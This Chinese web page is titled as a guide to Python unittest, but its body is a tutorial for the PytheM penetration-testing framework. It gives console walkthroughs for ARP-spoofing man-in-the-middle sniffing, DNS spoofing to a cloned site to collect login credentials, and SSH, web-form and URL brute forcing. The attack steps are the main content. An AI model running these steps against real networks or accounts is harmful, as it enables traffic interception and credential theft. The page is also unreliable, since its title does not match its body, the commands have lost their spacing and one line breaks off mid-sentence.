首页 / 知识
Python的Unittest单元测试使用详解
2023-11-12 13:41:00
PytheM是一个Python渗透测试框架。它只能在osnGNU/LinuxOS系统上运行。
安装
$sudoapt-getupdate$sudoapt-getinstalllibasound-devlibjack-jackd2-devportaudio19-devpython-pyaudiobuild-essentialpython-devlibnetfilter-queue-devlibespeak1libffi-devlibssl-dev$sudogitclonehttps://github.com/m4n3dw0lf/PytheM/$cdPytheM$sudopipinstall-rrequirements.txt
运行
$sudo./pythem
例子
ARP欺骗-HTTP中间人攻击
命令:
pythem>setinterface[+]Entertheinterface:wlan0pythem>setgateway[+]Enterthegateway:192.168.1.1pythem>arpspoofstart[+]Settingthepacketforwarding.[+]Iptablesredefined.[+]ARPspoofinginitialized.pythem>sniff[+]Enterthefilter:http
ARP+DNS欺骗-重定向到伪造的页面,收集登录凭证
使用SET等克隆工具克隆你选中的网站,并部署在Apache2上
命令:
pythem>settarget[+]Enterthetarget(s):192.168.0.8pythem>setinterfacewlan0pythem>setgateway192.168.0.1pythem>arpspoofstart[+]Settingthepacketforwarding.[+]Iptablesredefined.[+]ARPspoofinginitialized.pythem>dnsspoofstart[+]Domaintobespoofed:www.google.com[+]IPaddresstoberedirected:192.168.0.6[+]DNSspoofinginitialized.pythem>sniffdns
SSH暴破-暴力破解
pythem>servicesshstartpythem>settarget[+]Enterthetarget(s):127.0.0.1pythem>setfilewordlist.txtpythem>brute-forcessh[+]Entertheusernametobruteforce:anon123
Web页面参数暴力破解
首先获取web页面登录时的参数格式id=value
显示重定向页面,如果定向到一个不同的页面则说明猜解正确。
命令
pythem>settargethttp://127.0.0.1/pythem>setfile[+]Enterthepathtothefile:wordlist.txtpythem>brute-forcewebform[+]Brute-Formauthenticationinitialized.[+]Entertheinputidoftheusernamebox:vSIS_ID[+]Entertheinputidofthepasswordbox:vSIS_PASS[+]Entertheusernametobrute-forcetheformulary:root
URL内容爆破
pythem>settarget[+]Enterthetarget(s):http://testphp.vulnweb.com/index.php?id=pythem>setfile1to100.txtpythem>brute-forceurl[+]ContentURLbruterinitialized.
功能
[PytheM–PenetrationTestingFrameworkv0.3.2]
help:
打印帮助信息。
exit/quit:
退出程序。
set:
设置变量的值,参数:
interface
gateway
target
file
arpmode例子:
pythem>setinterface|openinputtoset
或者
pythem>setinterfacewlan0|don'topeninputtosetvalue
print:
打印变量的值,例子:
pythem>printgateway
scan:
进行tcp/manualport/arp扫描.
(应该在设置完网卡和目标后再调用)例子:
pythem>scan
或者
pythem>scantcp
arpspoof:
开始或结束arpspoofing攻击.(使用rep或req可以设置arp欺骗的模式,rep表示欺骗响应,req表示欺骗请求)
参数
start
stop
例子:
arpspoofstartarpspoofstop
dnsspoof:
开始dnsspoofing攻击.(应该在arp欺骗攻击开始后再调用)例子:
pythem>dnsspoofstartpythem>dnsspoofstop
sniff:
开始嗅探数据包(应该在设置网卡后再调用)例子:
pythem>sniffhttp
或者
pythem>sniff
[+]Enterthefilter:port1337andhost10.0.1.5|tcpdumplikeformatorhttp,dnsspecificfilter.
pforensic:
开始分析数据包(应该在设置完网卡和.pcap文件后调用)例子:
pythem>pforensicpforensic>help
brute-force:
开始暴力破解攻击(应该在设置完目标和字典文件路径后调用)参数:
ssh|目标是IP地址ipaddressastargeturl|目标是url(包含http://或https://)webform|目标是url(包含http://或https://)例子:pythem>brute-forcewebformpythem>brute-forcessh
geoip:
显示IP地址的大概位置(应该在设置目标(IP地址)后再调用)例子:
pythem>geoip
或者
pythem>geoip8.8.8.8
decodeandencode:
以选择的模式解码和编码字符串,例子:
pythem>decodebase64pythem>encodeascii
cookiedecode:
解码base64url编码的cookie的值,例子:
pythem>cookiedecode
其它在控制台可以执行的命令,比如cd,ls,nano,cat等。
Jarvis–声音控制助手
[*]jarvistypejarvis-helptoseethejarvishelppage.examples:pythem>jarvis(以语音识
以上内容为大家介绍了Python的Unittest单元测试使用详解,希望对大家有所帮助,如果想要了解更多Python相关知识,请关注我们http://www.mobiletrain.org/
最新内容
相关内容
Python 3.6 中针对文件系统的神奇
Python 3.6 中针对文件系统的神奇方法,数字,代码,数据,标准,信息,培训,首次,工作,文件名,常数,Python3.6首次发布于2016年,尽管它已经发布了很提升Python数据分析能力的方法
提升Python数据分析能力的方法,分析,数据,工具,代码,时间,环境,报告,信息,培训,标准,1.Pandas分析包这个工具的好处是显而易见的。下面的动画Python 中如何处理文件系统路径
Python 中如何处理文件系统路径,名称,路径,培训,系统,结果,斜杠,函数,所在,绝对路径,目录,1不同操作系统分隔符在Windows操作系统中,文件路径Python中的两个测试工具
Python中的两个测试工具,代码,情况,测试,设计,通用,名称,庞大,标准,网址,培训,当我们在写程序的时候,我们需要通过测试来验证程序是否出错或者如何用Python进行数据分析
如何用Python进行数据分析,数据,分析,项目,分析师,基础,代码,工具,工作,流程,公司,1.为什么选择Python进行数据分析?Python是一门动态的、面开发人员常用Python开发工具
开发人员常用Python开发工具,环境,代码,平台,设备,项目,分析,智能,行业,产品,人员,Python编程开发是目前最热门的行业之一,Python无论是从人才Python 性能剖分工具
Python 性能剖分工具,时间,工具,环境,分析,数据,代码,标准,人员,项目,培训,眼看着项目即将完成,却被测试人员告知没有通过性能测试,这种情况在Python切片操作详细例子
Python切片操作详细例子,情况,连续,培训,数据,切片,操作,终点,两者,矛盾,起点,以下示例均以列表a=[0,1,2,3,4,5,6,7,8,9]为例:>>>a=[0,1,2,3,4Python工具库之collections
Python工具库之collections,代码,数据,模具,情况,工具,概念,管理,一致,培训,名字,collection在英文当中有容器的意思,所以顾名思义,这是一个容python 报错信息汇总
python 报错信息汇总,信息,情况,名字,培训,名称,字符,参数,原因,文件,样式,1.UserWarning:DataValidationextendionisnotsupportedandwillberPython在自动化测试系统中的应用
Python在自动化测试系统中的应用,系统,分析,人员,标准,策略,信息,代码,测试,时间,软件,自动化测试系统在敏捷开发、持续集成和持续交付中起着python从现有文件中获取信息
python从现有文件中获取信息,信息,培训,文件,基本信息,模块,例子,上面,以上,目录,更多,使用Python中的模块,可以从现有文件中获取信息。使用“